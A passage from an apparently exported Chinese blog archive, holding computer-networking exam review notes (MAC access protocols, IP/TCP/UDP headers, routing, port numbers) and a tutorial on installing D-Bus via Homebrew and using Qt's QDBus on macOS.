为一个帧的平均传输时间\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e吞吐量:$S=G\\times e^{-2G}$。当 $G=\\frac{1}{2}$ 时,最大 $S_\\text{max}=0.184$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $G$ 为一个帧传输时间内系统产生的帧的平均数量\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e时隙 ALOHA\u003c/p\u003e\u003col\u003e\u003cli\u003e脆弱时间:$T_\\text{fr}$\u003c/li\u003e\u003cli\u003e吞吐量:$S=G\\times e^{-G}$。当 $G=1$ 时,最大 $S_\\text{max}=0.368$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eCSMA(载波侦听多路访问)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e脆弱时间:传播时间 $T_p$\u003c/li\u003e\u003cli\u003e持续方法:1-持续方法(一直侦听,易冲突)、非持续方法(随机等待,效率低)、p-持续方法(时隙)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eCSMA/CD(带冲突检测的载波侦听多路访问)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e最小帧长\u003c/strong\u003e:帧传输时间 $T_r$ 至少是最大传播时间 $T_p$ 的两倍($T_\\text{fr}\\ge 2\\times T_p$)。\u003c/li\u003e\u003cli\u003eCSMA/CA(带避免冲突的载波侦听多路访问)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e最小帧长\u003c/strong\u003e、\u003cstrong\u003e传播时延\u003c/strong\u003e、\u003cstrong\u003e传输时延\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e受控访问:预约、轮询、令牌环(了解)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_175\"\u003e13. 有线局域网:以太网\u003c/h3\u003e\u003col\u003e\u003cli\u003eIEEE 标准:LLC(逻辑链路控制层)和 MAC(介质访问控制层)\u003c/li\u003e\u003cli\u003e\u003cp\u003e标准以太网(10 Mbps)的 MAC 子层:帧格式、\u003cstrong\u003eMAC 地址(6 字节,48 位)\u003c/strong\u003e、\u003cstrong\u003e最短帧长(64 字节,512 比特)\u003c/strong\u003e、编码和解码\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eMAC 地址\u003c/strong\u003e:单播地址(第一个字节的最低位为 0),多播地址,广播地址(所有位均为 1)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e桥接以太网、交换式以太网、全双工以太网\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_176\"\u003e14. 无线局域网\u003c/h3\u003e\u003col\u003e\u003cli\u003eWLAN 体系结构与 IEEE 802.11 标准\u003c/li\u003e\u003cli\u003e802.11 MAC子层、帧结构\u003c/li\u003e\u003cli\u003e802.11 物理层、寻址方式、隐蔽终端和暴露终端\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_177\"\u003e15. 连接局域网、主干网和虚拟局域网\u003c/h3\u003e\u003col\u003e\u003cli\u003e连接设备:无源集线器、\u003cstrong\u003e中继器(可以再生信号)\u003c/strong\u003e、\u003cstrong\u003e有源集线器\u003c/strong\u003e、网桥、\u003cstrong\u003e透明网桥\u003c/strong\u003e、生成树、\u003cstrong\u003e二层交换机(有许多端口的网桥)\u003c/strong\u003e、\u003cstrong\u003e路由器\u003c/strong\u003e、三层交换机(本质是路由器)、网关。\u003c/li\u003e\u003cli\u003e虚拟局域网(VLAN):\u003cstrong\u003e概念\u003c/strong\u003e、划分方法。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_178\"\u003e网络层\u003c/h2\u003e\u003cp\u003e逻辑寻址和路由选择\u003c/p\u003e\u003ch3 id=\"toc_179\"\u003e19. 逻辑寻址\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003eIPv4 地址:A、B、C、D 和 E 类地址、掩码、子网和超网\u003c/p\u003e\u003col\u003e\u003cli\u003e掩码:IP 地址与掩码按位与,得到网络号。\u003c/li\u003e\u003cli\u003e五类地址\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e类\u003c/th\u003e\u003cth\u003e首字节二进制\u003c/th\u003e\u003cth\u003e首字节十进制\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eA\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e0XXX XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e0-127\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eB\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e10XX XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e128-191\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eC\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e110X XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e192-223\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eD\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e1110 XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e224-239\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eE\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e1111 XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e240-255\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e子网划分\u003c/strong\u003e(做题,偏应用)\u003c/li\u003e\u003cli\u003eNAT 的概念\u003c/li\u003e\u003cli\u003eIPv6 地址(128 位,8 部分,每部分 2 字节)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_180\"\u003e20. IP 协议\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eIP 分组(数据报)的格式\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e头部(IPv4)\u003c/p\u003e\u003cul\u003e\u003cli\u003e版本(4)\u003c/li\u003e\u003cli\u003e头部长度(4)\u003c/li\u003e\u003cli\u003e服务(8)\u003c/li\u003e\u003cli\u003e总长度(16)\u003c/li\u003e\u003cli\u003e标识(16)\u003c/li\u003e\u003cli\u003e标记(3)\u003c/li\u003e\u003cli\u003e分段偏移(13)\u003c/li\u003e\u003cli\u003e生存时间(8)\u003c/li\u003e\u003cli\u003e协议(8)\u003c/li\u003e\u003cli\u003e头部检验和(16)\u003c/li\u003e\u003cli\u003e源 IP 地址(32)\u003c/li\u003e\u003cli\u003e目的 IP 地址(32)\u003c/li\u003e\u003cli\u003e选项\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e分片与 MTU(最大传输单元)\u003c/strong\u003e,最大帧长:1518 bytes\u003c/p\u003e\u003cul\u003e\u003cli\u003e标识,标记,分段偏移三个字段与分段相关(P390)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eIPv4 校验和:划分为 16 位的部分计算\u003c/li\u003e\u003cli\u003e\u003cp\u003eIPv6 分组格式、长度\u003c/p\u003e\u003cul\u003e\u003cli\u003e基本头部(40 字节)\u003c/li\u003e\u003cli\u003e\u003cp\u003e有效载荷(最长 65535 字节)\u003c/p\u003e\u003cul\u003e\u003cli\u003e扩展头部(可选)\u003c/li\u003e\u003cli\u003e来自上层的数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eIPv4 向 IPv6 过渡\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_181\"\u003e21. 地址映射、差错报告和多播\u003c/h3\u003e\u003col\u003e\u003cli\u003eARP(地址解析协议):\u003cstrong\u003e概念\u003c/strong\u003e、分组格式、封装、4 种操作\u003c/li\u003e\u003cli\u003eDHCP(动态主机配置协议)\u003c/li\u003e\u003cli\u003e\u003cp\u003eICMP:概念、报文格式、\u003cstrong\u003e5 种差错报告报文\u003c/strong\u003e(常考)、查询报文。\u003c/p\u003e\u003col\u003e\u003cli\u003e报文格式:类型(8),代码(8),校验和(16)……\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e差错报告报文\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e目的端不可达\u003c/li\u003e\u003cli\u003e源端抑制\u003c/li\u003e\u003cli\u003e时间超时\u003c/li\u003e\u003cli\u003e参数问题\u003c/li\u003e\u003cli\u003e重定向\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e查询报文\u003c/p\u003e\u003col\u003e\u003cli\u003e回送请求和回答\u003c/li\u003e\u003cli\u003e时间戳请求和回答\u003c/li\u003e\u003cli\u003e地址掩码请求和回答\u003c/li\u003e\u003cli\u003e路由器询问和通告\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003eIGMP\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_182\"\u003e22. 传递、转发和路由选择\u003c/h3\u003e\u003col\u003e\u003cli\u003e转发技术和转发过程\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由表\u003c/strong\u003e、\u003cstrong\u003e地址聚合\u003c/strong\u003e和\u003cstrong\u003e最长掩码匹配\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eDijkstra 算法\u003c/strong\u003e和 \u003cstrong\u003eBellman-Ford 算法\u003c/strong\u003e(常考,占分大)\u003c/li\u003e\u003cli\u003e\u003cp\u003e单播路由协议:\u003cstrong\u003eAS 的概念\u003c/strong\u003e、\u003cstrong\u003eRIP 协议(路由选择信息协议)\u003c/strong\u003e(基于距离)和 \u003cstrong\u003eOSPF 协议(开放最短路径优先协议)\u003c/strong\u003e(基于链路状态)\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003eAS(Autonomous System,自治系统)\u003c/strong\u003e:一个单一的管理机构管辖下的一组网络和路由器。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eRIP 协议\u003c/strong\u003e:跳数衡量距离\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOSPF 协议\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e多播概念、多播路由(了解)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_183\"\u003e传输层\u003c/h2\u003e\u003cp\u003e服务点寻址,分段和组装,连接控制,流量控制,差错控制\u003c/p\u003e\u003ch3 id=\"toc_184\"\u003e23. UDP、TCP 和 STCP\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e端口、套接字\u003c/p\u003e\u003cul\u003e\u003cli\u003e端口:使运行在不同操作系统的计算机的应用进程能够相互通信\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eUDP 协议:概念、\u003cstrong\u003e数据报结构\u003c/strong\u003e、\u003cstrong\u003e校验和的计算\u003c/strong\u003e、UDP 的操作、\u003cstrong\u003e常用端口号\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据报结构\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e源端口号(16)\u003c/li\u003e\u003cli\u003e目的端口号(16)\u003c/li\u003e\u003cli\u003e总长度(16)\u003c/li\u003e\u003cli\u003e校验和(16)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e校验和的计算\u003c/strong\u003e:伪头部 + 头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e伪头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e源 IP 地址(32)\u003c/li\u003e\u003cli\u003e目的 IP 地址(32)\u003c/li\u003e\u003cli\u003e全 0(24)\u003c/li\u003e\u003cli\u003e协议(8)\u003c/li\u003e\u003cli\u003eUDP 总长度(16)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e常用端口号:DNS(53)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eTCP 的特点与服务\u003c/strong\u003e、\u003cstrong\u003e流传递\u003c/strong\u003e、\u003cstrong\u003e段格式\u003c/strong\u003e、\u003cstrong\u003e常用端口号\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e段格式\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e源端口地址(16)\u003c/li\u003e\u003cli\u003e目的端口地址(16)\u003c/li\u003e\u003cli\u003e序列号(32)\u003c/li\u003e\u003cli\u003e确认号(32)\u003c/li\u003e\u003cli\u003e头部长度(4)\u003c/li\u003e\u003cli\u003e保留(6)\u003c/li\u003e\u003cli\u003e标记(6),分别表示 URG、ACK、PSH、RST、SYN、FIN\u003c/li\u003e\u003cli\u003e窗口大小(16)\u003c/li\u003e\u003cli\u003e校验和(16)\u003c/li\u003e\u003cli\u003e紧急指针(16)\u003c/li\u003e\u003cli\u003e选项\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e常用端口号\u003c/strong\u003e\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e端口\u003c/th\u003e\u003cth\u003e协议\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eEcho\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e9\u003c/td\u003e\u003ctd\u003eDiscard\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e11\u003c/td\u003e\u003ctd\u003eUsers\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e13\u003c/td\u003e\u003ctd\u003eDaytime\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e17\u003c/td\u003e\u003ctd\u003eQuote\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e19\u003c/td\u003e\u003ctd\u003eChargen\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e20\u003c/td\u003e\u003ctd\u003eFTP 数据\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e21\u003c/td\u003e\u003ctd\u003eFTP 控制\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23\u003c/td\u003e\u003ctd\u003eTelnet\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e25\u003c/td\u003e\u003ctd\u003eSMTP\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e53\u003c/td\u003e\u003ctd\u003eDNS\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e67\u003c/td\u003e\u003ctd\u003eBOOTP\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e79\u003c/td\u003e\u003ctd\u003eFinger\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e80\u003c/td\u003e\u003ctd\u003eHTTP\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e111\u003c/td\u003e\u003ctd\u003eRPC\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eTCP 三次握手\u003c/strong\u003e(建立连接和拆除连接)、\u003cstrong\u003e数据传输过程\u003c/strong\u003e、\u003cstrong\u003e序列号\u003c/strong\u003e、\u003cstrong\u003e确认号\u003c/strong\u003e(ACK 不占序列号)\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e三次握手\u003c/p\u003e\u003col\u003e\u003cli\u003e客户端→服务器(SYN)占用序列号\u003c/li\u003e\u003cli\u003e服务器→客户端(SYN+ACK)占用序列号\u003c/li\u003e\u003cli\u003e客户端→服务器(ACK)不占用序列号\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP 流量控制\u003c/strong\u003e(信贷滑窗协议)、\u003cstrong\u003eTCP 差错控制\u003c/strong\u003e(校验和,确认,超时)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_185\"\u003e24. 拥塞控制和服务质量\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003eTCP 拥塞控制(慢启动、拥塞避免)\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e慢启动\u003c/strong\u003e:指数增长。每次收到一个确认时,窗口大小增加。窗口是慢速启动,但是按指数规则增长的。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e拥塞避免\u003c/strong\u003e:加性增加。当拥塞窗口的大小达到慢速启动的阈值时,慢速启动阶段停止,加性增加阶段开始。\u003c/li\u003e\u003cli\u003e拥塞检测:乘性减少。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_186\"\u003e应用层\u003c/h2\u003e\u003cp\u003e(通常和网络层结合考)\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e会话层\u003c/strong\u003e:对话控制,同步\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e表示层\u003c/strong\u003e:翻译,加密,压缩\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e应用层\u003c/strong\u003e:网络虚拟终端,文件传输访问管理,邮件服务,目录服务\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_187\"\u003e25. 域名系统\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003eDNS 工作原理\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e域名空间、通用域、国家域和反向域\u003c/li\u003e\u003cli\u003e域名解析\u003c/li\u003e\u003cli\u003eDNS 报文\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_188\"\u003e26. 远程登录、电子邮件和文件传输\u003c/h3\u003e\u003col\u003e\u003cli\u003eTelnet 原理\u003c/li\u003e\u003cli\u003e电子邮件:电子邮件架构、邮件报文、SMTP 和 MIME、POP3 和 IMAP\u003c/li\u003e\u003cli\u003e文件传输:\u003cstrong\u003eFTP 的原理\u003c/strong\u003e、FTP 的连接、FTP 的传输方式\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_189\"\u003e27. 万维网和超文本传输协议\u003c/h3\u003e\u003col\u003e\u003cli\u003eURL、Cookies 概念\u003c/li\u003e\u003cli\u003eHTTP 概念、报文结构、HTTP 操作\u003c/li\u003e\u003c/ol\u003e\n","url":"https://hawa130.com/archives/830/"},{"title":"Qt D-Bus 在 macOS 平台的使用","time":"2022-05-08T12:01:00Z","content":"D-Bus 与 Qt最近的操作系统实验要求写个进程间通信程序,我注意到了 D-Bus 这个可以双向通信的协议,它能够通知到接收方。D-Bus 协议是 Unix 平台下的用于进程间通信(IPC,I...\u003chr /\u003e\n\u003ch2 id=\"toc_190\"\u003eD-Bus 与 Qt\u003c/h2\u003e\u003cp\u003e最近的操作系统实验要求写个进程间通信程序,我注意到了 D-Bus 这个可以双向通信的协议,它能够通知到接收方。\u003c/p\u003e\u003cp\u003eD-Bus 协议是 Unix 平台下的用于进程间通信(IPC,Inter-Process Communication)的协议,它也可用于远程过程调用(RPC,Remote Procedure Call)。\u003c/p\u003e\u003cp\u003eQt 是一个广泛使用的图形界面库,它将系统的 D-Bus 库封装成为 \u003ccode\u003eQDbus\u003c/code\u003e 类,便于我们去使用。在\u003ca href=\"https://doc.qt.io/qt-5/ipc.html#d-bus-protocol\"\u003e官方文档\u003c/a\u003e中,这是一种推荐的进程间通信方法,不过它仅支持 Unix 平台(Linux 或 macOS)。\u003c/p\u003e\u003cp\u003e不过 macOS,和众多主流 Linux 操作系统还是有所不同的。虽然 macOS 属于 Unix 系的操作系统,但它没有预装 D-Bus 库,所以想要在 Qt 里面使用 D-Bus 协议进行进程间通信,首先需要手动安装 D-Bus 服务。\u003c/p\u003e\u003ch2 id=\"toc_191\"\u003e安装 D-Bus\u003c/h2\u003e\u003cp\u003e如果你是个程序员,你的电脑上肯定安装了 Homebrew 或者其他的包管理工具,以提高效率。\u003c/p\u003e\u003cp\u003e下面就以 Homebrew 为例,安装 D-Bus。执行下面的安装命令。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ebrew install dbus\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e安装完成后,你能在 \u003ccode\u003e/opt/homebrew/Cellar/dbus\u003c/code\u003e 目录下找到它,这个目录之后会用到。\u003c/p\u003e\u003cp\u003e我安装的版本是 1.14.0,所以 D-Bus 库在 \u003ccode\u003e/opt/homebrew/Cellar/dbus/1.14.0\u003c/code\u003e 下,下面将以这个版本为例。\u003c/p\u003e\u003ch2 id=\"toc_192\"\u003e启动 D-Bus 服务\u003c/h2\u003e\u003cp\u003e下面的两种方法,只需要看其中一种。\u003c/p\u003e\u003ch3 id=\"toc_193\"\u003eHomebrew Services\u003c/h3\u003e\u003cp\u003eHomebrew 提供了方便的类似于 Linux 下 service 命令的服务管理功能,其实本质也是调用了 launchctl 进行管理。\u003c/p\u003e\u003cp\u003e执行下面的命令即可启动 D-Bus 服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ebrew services start dbus\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果出现下面的报错,说明之前已经启动过服务了。可以执行 \u003ccode\u003ebrew services stop dbus\u003c/code\u003e 来停止服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003eBootstrap failed: 5: Input/output error\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_194\"\u003eLaunchctl\u003c/h3\u003e\u003cp\u003eLaunchctl 是 macOS 原生的服务管理。\u003c/p\u003e\u003cp\u003e建立软连接到 \u003ccode\u003e~/Library/LaunchAgents\u003c/code\u003e 目录。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003eln -sfv /opt/homebrew/Cellar/dbus/1.14.0/org.freedesktop.dbus-session.plist ~/Library/LaunchAgents\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行下面的命令可以启动 D-Bus 服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003elaunchctl load ~/Library/LaunchAgents/org.freedesktop.dbus-session.plist\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行下面的命令关闭 D-Bus 服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003elaunchctl unload ~/Library/LaunchAgents/org.freedesktop.dbus-session.plist\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果有报错,可能是因为已经启动过服务了,可以关闭服务再启动试试。\u003c/p\u003e\u003ch3 id=\"toc_195\"\u003e备注\u003c/h3\u003e\u003cp\u003e如果非 root 权限无法启动,可能是由于目录权限不足,可以使用 chown 命令来修改 Homebrew 目录的所有者。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003esudo chown -R $(whoami) $(brew --prefix)/*\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e$(whoami)\u003c/code\u003e 变量指的是当前用户名。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e$(brew --prefix)\u003c/code\u003e 指的是 Homebrew 目录,我的是 \u003ccode\u003e/opt/homebrew\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_196\"\u003e添加外部库\u003c/h2\u003e\u003cp\u003e按照\u003ca href=\"https://doc.qt.io/qt-5/macos-issues.html#d-bus-and-macos\"\u003e官方文档\u003c/a\u003e的说法,macOS 下因为没有原生的 libdbus-1 库,所以需要自己引入。\u003c/p\u003e\u003cp\u003e刚才我们安装的 D-Bus 目录下面已经包含这些库啦,所以只需要在 Qt Creator 的项目中引入这些库就好。以我的为例,这个库的在 \u003ccode\u003e/opt/homebrew/Cellar/dbus/1.14.0/lib/libdbus-1.dylib\u003c/code\u003e 路径下。现在右键点击项目名称,点击「\u003cstrong\u003e添加库…\u003c/strong\u003e」,选择「\u003cstrong\u003e外部库\u003c/strong\u003e」。在「\u003cstrong\u003e库文件\u003c/strong\u003e」里填入库的路径,「包含路径」将会自动配置好,平台只选择 Mac 平台,接下来一路下一步就好啦。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"添加库\" data-src=\"https://upload.hawa130.com/2022/05/%E6%88%AA%E5%B1%8F2022-05-08%2019.43.41.png#vwid=612\u0026vhei=559\" src=\"https://upload.hawa130.com/2022/05/%E6%88%AA%E5%B1%8F2022-05-08%2019.43.41.png#vwid=612\u0026vhei=559\"\u003e\u003cfigcaption\u003e添加库\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch2 id=\"toc_197\"\u003e试试看\u003c/h2\u003e\u003cp\u003e在 Qt Creator 的「示例」中,有个名为「D-Bus Chat Example」的示例项目,打开它,安装上述方法进行配置。\u003c/p\u003e\u003cp\u003e如果你成功地运行了这个项目,弹出了窗口,说明一切都到位了,你的 QDBus 是可以正常运行的。\u003c/p\u003e\u003cp\u003e如果不幸没有配置好的话,控制台会有如下的输出,说明前面有哪一步出了问题。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eCannot connect to the D-Bus session bus.\nPlease check your system settings and try again.\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_198\"\u003e在自己的项目中使用\u003c/h2\u003e\u003cp\u003e以下内容为根据 Qt 示例的个人猜测,反正能用。\u003c/p\u003e\u003ch3 id=\"toc_199\"\u003e建立 D-BUS Object Introspection XML\u003c/h3\u003e\u003cp\u003e模仿示例项目中的 \u003ccode\u003eorg.example.chat.xml\u003c/code\u003e 文件,新建一个自己的,新建文件时选择「\u003cstrong\u003eGeneral\u003c/strong\u003e」\u0026gt;「\u003cstrong\u003eEmpty File\u003c/strong\u003e」,文件命名为 \u003ccode\u003e\u0026lt;组织类型\u0026gt;.\u0026lt;组织名\u0026gt;.\u0026lt;项目名\u0026gt;.xml\u003c/code\u003e 的格式,例如我新建一个 \u003ccode\u003eorg.hawa130.dbuschat.xml\u003c/code\u003e 的文件,里面模仿示例文件写入内容。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-xml\"\u003e\u0026lt;!DOCTYPE node PUBLIC \u0026quot;-//freedesktop//DTD D-BUS Object Introspection 1.0//EN\u0026quot;\n\u0026quot;http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd\u0026quot;\u0026gt;\n\u0026lt;node\u0026gt;\n \u0026lt;interface name=\u0026quot;org.hawa130.dbuschat\u0026quot;\u0026gt;\n \u0026lt;signal name=\u0026quot;message\u0026quot;\u0026gt;\n \u0026lt;arg name=\u0026quot;name\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;arg name=\u0026quot;content\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;/signal\u0026gt;\n \u0026lt;signal name=\u0026quot;action\u0026quot;\u0026gt;\n \u0026lt;arg name=\u0026quot;name\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;arg name=\u0026quot;content\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;/signal\u0026gt;\n \u0026lt;/interface\u0026gt;\n\u0026lt;/node\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中 \u003ccode\u003einterface\u003c/code\u003e 的 \u003ccode\u003ename\u003c/code\u003e 属性写文件名。\u003c/p\u003e\u003cp\u003e接下来里面的是信号,这里示例的有两个信号,一个名为「message」,另一个名为「action」,表示聊天的消息以及成员的动作(加入 / 退出)。\u003c/p\u003e\u003cp\u003e每个信号里面包含了信号的参数。一个典型的消息需要有发出者和消息内容本身,所以需要两个参数:\u003ccode\u003ename\u003c/code\u003e属性是可选的,但是为了标记,最好还是写上,「name」指的是成员的名字,「content」指的是消息内容;后面的 \u003ccode\u003etype\u003c/code\u003e 为 \u003ccode\u003es\u003c/code\u003e,指字符串;\u003ccode\u003edirection\u003c/code\u003e 为 \u003ccode\u003eout\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这个 xml 的内容可以按照自己的需要写。可以参考\u003ca href=\"https://www.gnu.org/software/emacs/manual/html_node/dbus/Introspection.html\"\u003e简明文档\u003c/a\u003e以及更详细的\u003ca 